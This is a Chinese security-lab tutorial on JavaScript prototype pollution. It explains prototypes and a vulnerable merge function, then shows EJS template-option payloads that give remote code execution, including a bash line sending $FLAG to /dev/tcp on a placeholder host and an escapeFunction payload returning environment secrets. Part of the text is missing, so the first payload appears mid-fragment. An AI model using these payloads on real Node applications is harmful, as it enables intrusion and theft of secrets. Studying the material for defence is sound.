您当前的位置: 首页 >  Java

合天网安实验室

暂无认证

  • 0浏览

    0关注

    748博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

JavaScript Prototype污染攻击

合天网安实验室 发布时间:2019-10-08 10:32:00 ,浏览量:0

0x00 正文

想了解什么是JavaScript可到合天网安实验室学习实验——Javascript基础,学习DOM操作和BOM操作,扫描下方二维码或点击文末“阅读原文”开始学习。

原型和原型链

JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义。也就是说,我们定义了一个函数,就会有对应的一个类,类名为该函数名。

原型

每个函数对象都会有个prototype属性,它指向了该构建函数实例化的原型。使用该构建函数实例化对象时,会继承该原型中的属性及方法。

所有的对象都有__proto__属性,它指向了创建它的构建函数的原型。

在P神的介绍JavaScript原型污染攻击文章中我们可以知道以下两个性质。

  1. prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法

  2. 一个对象的__proto__属性,指向这个对象所在的类的prototype属性

原型链

所谓原型链也是指JS中的一个继承和反向查找的机制,函数对象可以通过prototype属性找到函数原型,普通实例对象可以通过__proto__属性找到构建其函数的原型。

JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链

  1. 每个构造函数(constructor)都有一个原型对象(prototype)

  2. 对象的__proto__属性,指向类的原型对象prototype

  3. JavaScript使用prototype链实现继承机制

具体的可以参考下面的解释图(参考链接见附录)

原型链污染

原型污染是指将属性注入现有JavaScript语言构造原型(如对象)的能力。

JavaScript允许更改所有Object属性,包括它们的神奇属性,如_proto_constructorprototype

在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象,所有JavaScript对象通过原型链继承,都会继承Object.prototype上的属性,这种攻击方式就是原型链污染。

当发生这种情况时,有可能会被攻击者利用从而注入攻击代码达到篡改程序或者执行命令的目的。

原型链污染出现的情况

根据p神文章所说,原型链污染主要是因为攻击者可以设置__proto__的值,导致污染,因此我们的目光应该瞄准哪些地方可以设置__proto__的值,或者说寻找某些对象,可以控制其键名的操作。

比如:

  • 对象merge

  • 对象clone(将待操作对象merge到一个空对象中)

举个例子:

假如存在一个merge操作:

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

这里没有对键值进行过滤,假如key为__proto__,那么就可以进行原型链污染。

这里需要注意,要配合JSON.parse使得我们输入的__proto__被解析成键名,JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,否则它只会被当作当前对象的”原型“而不会向上影响,例如:

>let o2 = {a: 1, "__proto__": {b: 2}}
>merge({}, o2)
o2.__proto__
console.log({}.b)
let o3 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
>merge({},o3)
console.log({}.b)
/dev/tcp/xxxxx/xx\"')//"}}}}

拼接到后端的动态函数则是:

prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
// After injection
prepended += ' var a=1;process.mainModule.require('child_process').exec('b
ash -c \"echo $FLAG>/dev/tcp/xxxxx/xx\"')// 后面的代码都被注释了'

污染了原型链之后,渲染直接变成了执行代码,并提前 return,从而 getshell

方法三:后端RCE之opts.escapeFunction

同样可以找到另外一处地方

var escapeFn = opts.escapeFunction;
var ctor;
....
if (opts.client) {
    src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
    if (opts.compileDebug) {
        src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
    }
}

伪造escapeFunction也可以打到RCE

{"constructor": {"prototype": {"client": true,"escapeFunction": "1; return
process.env.FLAG","debug":true, "compileDebug": true}}}

0X02 参考

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

https://blog.csdn.net/cc18868876837/article/details/81211729

https://blog.sari3l.com/posts/81dfbfaf/#%E5%8F%97%E5%BD%B1%E5%93%8D%E7%9A%84%E5%BA%93

https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/hardjs

https://www.xmsec.cc/prototype-pollution-notes/

https://www.anquanke.com/post/id/177093

https://snyk.io/vuln/SNYK-JS-LODASH-450202

https://github.com/jquery/jquery/pull/4333

https://snyk.io/blog/after-three-years-of-silence-a-new-jquery-prototype-pollution-vulnerability-emerges-once-again/

https://juejin.im/post/5b07eb1c5188254e28710d80

https://www.smi1e.top/javascript-%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/

别忘了投稿哦

大家有好的技术原创文章

欢迎投稿至邮箱:edu@heetian.com

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦

有才能的你快来投稿吧!

了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!

点击“阅读全文”,预览Javascript基础.

关注
打赏
1665306545
查看更多评论
立即登录/注册

微信扫码登录

0.0444s